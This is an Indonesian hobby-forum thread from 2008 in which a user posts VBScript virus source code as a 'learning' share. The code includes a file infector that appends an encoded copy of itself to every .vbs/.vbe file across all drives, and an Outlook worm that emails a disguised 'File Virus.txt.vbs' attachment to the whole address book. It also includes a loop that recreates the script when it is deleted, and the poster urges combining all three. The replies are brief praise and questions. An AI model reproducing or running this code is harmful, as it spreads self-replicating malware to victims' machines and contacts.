Cahaya yang menyinari forum [COMICK, MUSIC, GAME, ANIME & COMPUTER] @ Hikari-Community [at] dal.net
 
HomePortalFAQSearchMemberlistUsergroupsRegisterLog in

Share | 
 

 Source Code Virus .vbs

View previous topic View next topic Go down 
AuthorMessage
Mr.C
Hikari Newbie
Hikari Newbie


Jumlah posting : 19
Reputation : 0
Join date : 2008-06-01

PostSubject: Source Code Virus .vbs   Mon Jul 28, 2008 8:23 pm

Nih ada beberapa SC virus pake .vbs

Tujuannya buat pembelajaran saja, gw gak bertanggung jawab jika terjadi penyalahgunaan...

Infeksi File Antar Visual Basic Script (.VBS)
Code:

On Error Resume Next
Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Angel1()
Sub Angel1()
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
For Each SalinMawarPutih In a.Drives
If SalinMawarPutih.DriveType = 2 _
Or SalinMawarPutih.DriveType = 3 Then
Angel3 (SalinMawarPutih.Path & "\")
End If
Next
End Sub
Sub Angel2(FileTarget)
On Error Resume Next
Set otf = a.GetFile(WScript.ScriptFullName)
ra = otf.ReadAll
otf.Close
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.Files
FileExt = LCase(a.GetExtensionName(n.Path))
If FileExt = "vbs" Or FileExt = "vbe" Then
Set openvbs = a.OpenTextFile(n.Path, 1)
vbsra = openvbs.ReadAll
openvbs.Close
If InStr(1, vbsra, "Tips And Trik  by ") = False Then
Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Set JC = MawarPutih.OpenTextFile(WScript.ScriptFullName, 1)
RantingMawarPutih = JC.ReadAll
JC.Close
Set MawarMerah = MawarPutih.OpenTextFile(n.Path, 8, True)
MawarMerah.WriteLine vbCrLf & "' Hack .VBS  by " & vbCrLf & "Tz = " & Chr(34) & Chr(34)
For i = 1 To Len(RantingMawarPutih)
Tz = Mid(RantingMawarPutih, i, 1)
Tz = Hex(Asc(Tz))
If Len(Tz) = 1 Then
Tz = "0" & Tz
End If
Gz = Gz + Tz
If Len(Gz) = 110 Then
MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
If Len(RantingMawarPutih) - i = 0 Then
MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
Next
MawarMerah.WriteLine "Set MawarPutih = CreateObject(""Scripting.FileSystemObject"")"
MawarMerah.WriteLine "WriteAppend.Write CM(Tz)"
MawarMerah.WriteLine "WriteAppend.Close"
MawarMerah.WriteLine "Function CM(CN)"
MawarMerah.WriteLine "For GC = 1 To Len(CN) Step 2"
MawarMerah.WriteLine "CM = CM & Chr(""&h"" & Mid(CN, GC, 2))"
MawarMerah.WriteLine "Next"
MawarMerah.WriteLine "End Function"
MawarMerah.Close
End If
End If
Next
End Sub
Sub Angel3(FileTarget)
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.SubFolders
Angel2 (n.Path)
Angel3 (n.Path)
Next
End Sub


penyebaran Melalui E-mail Via Outlook

Code:

On Error Resume Next

Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Set MawarMerah = MawarPutih.GetFile(WScript.ScriptFullName)
MawarMerah.Copy (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
Set Attachments = MawarPutih.GetFile(MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
Attachments.Attributes = 0
Set RantingMawar = CreateObject("Outlook.Application")
If Not RantingMawar = "" Then
For Each DuriMawar In RantingMawar.GetNameSpace("MAPI").AddressLists
For DaunMawar = 1 To DuriMawar.AddressEntries.Count
Set BagianEmail = RantingMawar.CreateItem(0)
BagianEmail.Recipients.Add (DuriMawar.AddressEntries(DaunMawar))
BagianEmail.Subject = "Judul Pesan"
BagianEmail.Body = "Isi Pesan"
BagianEmail.Attachments.Add (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
BagianEmail.DeleteAfterSubmit = True
BagianEmail.Send
Next
Next
End If


Anti Delete

Code:

On Error Resume Next

Set MawarPutih= Createobject("scripting.filesystemobject")
Set MawarMerah= MawarPutih.opentextfile(wscript.scriptfullname, 1)
BatangMawar= MawarMerah.readall
MawarMerah.Close
Do
If Not (MawarPutih.fileexists(wscript.scriptfullname)) Then
Set DuriMawar= MawarPutih.createtextfile(wscript.scriptfullname, True)
DuriMawar.writeBatangMawar
DuriMawar.Close
End If
Loop

semua code diatas.. bisa kalian jadiin 1.. tinggal kreasinya aja...
thx_to:Shadow Angel
Back to top Go down
View user profile
ea_ngel
Hikari Master
Hikari Master


Jumlah posting : 657
Reputation : 2
Join date : 2008-04-18

Status
Race: Undead
Class: Magician

PostSubject: Re: Source Code Virus .vbs   Tue Aug 19, 2008 12:17 pm

Nice share

Tp paling bagus, klo di buat virusnya dibuat juga antivirusnya.
Supaya bisa membantu juga yg kena virusnya
Back to top Go down
View user profile
M364TR0N
Hikari Addict
Hikari Addict


Jumlah posting : 106
Reputation : 0
Join date : 2008-05-17

PostSubject: Re: Source Code Virus .vbs   Tue Aug 19, 2008 8:53 pm

@Mr.C

itu efek ke kompie nya gmn ??

_________________
Back to top Go down
View user profile http://profiles.friendster.com/56783059
chevi
Hikari Newbie
Hikari Newbie


Jumlah posting : 5
Reputation : 0
Join date : 2009-08-12

PostSubject: Re: Source Code Virus .vbs   Wed Aug 12, 2009 8:34 pm

mantap juga bozzz....
tapi antinya mana ya..hohohohoh
sekalian dunk...hohohohohoh Twisted Evil Twisted Evil Twisted Evil
Back to top Go down
View user profile
Sponsored content




PostSubject: Re: Source Code Virus .vbs   Today at 11:14 am

Back to top Go down
 
Source Code Virus .vbs
View previous topic View next topic Back to top 
Page 1 of 1
 Similar topics
-
» Virus yang lagi Hangat

Permissions in this forum:You cannot reply to topics in this forum
Hikari Community :: Komputer :: Malicious Code [Malware, Virus, Hijack, Spyware dll]-
Jump to: